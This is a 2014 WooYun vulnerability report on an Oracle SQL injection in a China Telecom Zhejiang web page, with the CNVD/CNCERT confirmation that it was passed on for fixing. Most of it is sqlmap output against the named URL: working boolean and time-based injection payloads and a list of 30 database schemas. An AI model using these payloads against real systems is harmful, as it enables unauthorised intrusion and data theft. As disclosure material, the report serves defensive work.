当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061237

漏洞标题:中国电信浙江省某分站一处Oracle注入(横跨30个数据库)之第七蛋

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-05-22 16:17

修复时间:2014-07-06 16:20

公开时间:2014-07-06 16:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-06: 细节向公众公开

简要描述:

呵呵

详细说明:

注入地址:http://zj.118100.cn:8090/cring/jsp/user/ringSpecialList.jsp?ring_special_type_id=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:00:23
[02:00:23] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\zj.118100.cn\session' as session file
[02:00:23] [INFO] testing connection to the target url
[02:00:23] [INFO] testing if the url is stable, wait a few seconds
[02:00:26] [INFO] url is stable
[02:00:26] [INFO] testing if GET parameter 'ring_special_type_id' is dynamic
[02:00:26] [INFO] confirming that GET parameter 'ring_special_type_id' is dynami
c
[02:00:27] [INFO] GET parameter 'ring_special_type_id' is dynamic
[02:00:27] [WARNING] heuristic test shows that GET parameter 'ring_special_type_
id' might not be injectable
[02:00:27] [INFO] testing sql injection on GET parameter 'ring_special_type_id'
[02:00:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:00:29] [INFO] GET parameter 'ring_special_type_id' is 'AND boolean-based bli
nd - WHERE or HAVING clause' injectable
[02:00:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:00:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:00:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:00:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:00:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:00:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:00:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:00:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:00:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:00:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:00:34] [INFO] testing 'Oracle AND time-based blind'
[02:00:55] [INFO] GET parameter 'ring_special_type_id' is 'Oracle AND time-based
blind' injectable
[02:00:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'ring_special_type_id' is vulnerable. Do you want to keep testing
the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: ring_special_type_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ring_special_type_id=1 AND 8500=8500
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ring_special_type_id=1 AND 4322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||
CHR(79)||CHR(68)||CHR(84),5)
---
[02:01:09] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[02:01:09] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[02:01:09] [INFO] fetching database (schema) names
[02:01:09] [INFO] fetching number of databases
[02:01:09] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[02:01:09] [INFO] retrieved: 30
[02:01:31] [INFO] retrieved: ACTIVITY
[02:03:24] [INFO] retrieved: CRING
[02:04:37] [INFO] retrieved: CRING_U
[02:06:19] [INFO] retrieved: CTXSYS
[02:07:52] [INFO] retrieved: DBSNMP
[02:09:50] [INFO] retrieved: DMSYS
[02:11:09] [INFO] retrieved: EXFSYS
[02:13:03] [INFO] retrieved: HQ
[02:13:48] [INFO] retrieved: IVR
[02:14:47] [INFO] retrieved: LONGOAL
[02:16:38] [INFO] retrieved: MDSYS
[02:17:57] [INFO] retrieved: OLAPSYS
[02:19:51] [INFO] retrieved: ORDSYS
[02:21:34] [INFO] retrieved: OUTLN
[02:22:55] [INFO] retrieved: PANDA
[02:24:38] [INFO] retrieved: RINGSKY
[02:26:29] [INFO] retrieved: RINGSKYJL
[02:28:36] [INFO] retrieved: SA
[02:29:15] [INFO] retrieved: SCOTT
[02:30:36] [INFO] retrieved: SYS
[02:31:27] [INFO] retrieved: SYSMAN
[02:33:04] [INFO] retrieved: SYSTEM
[02:34:38] [INFO] retrieved: TSMSYS
[02:36:12] [INFO] retrieved: WEIXIN
[02:37:40] [INFO] retrieved: WMSYS
[02:38:55] [INFO] retrieved: XDB
[02:39:45] [INFO] retrieved: YIXIN
[02:40:58] [INFO] retrieved: ZJTEL
[02:42:15] [INFO] retrieved: ZJTEL_SEARCH
[02:44:56] [INFO] retrieved: ZJWAP
available databases [30]:
[*] ACTIVITY
[*] CRING
[*] CRING_U
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HQ
[*] IVR
[*] LONGOAL
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PANDA
[*] RINGSKY
[*] RINGSKYJL
[*] SA
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WEIXIN
[*] WMSYS
[*] XDB
[*] YIXIN
[*] ZJTEL
[*] ZJTEL_SEARCH
[*] ZJWAP
[02:49:45] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\zj.118100.cn'

漏洞证明:

详细说明

修复方案:

你们懂的!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 13:30

厂商回复:

CNVD确认并复现所述情况,转由CNCERT协调中国电信集团公司通报处置。

最新状态:

暂无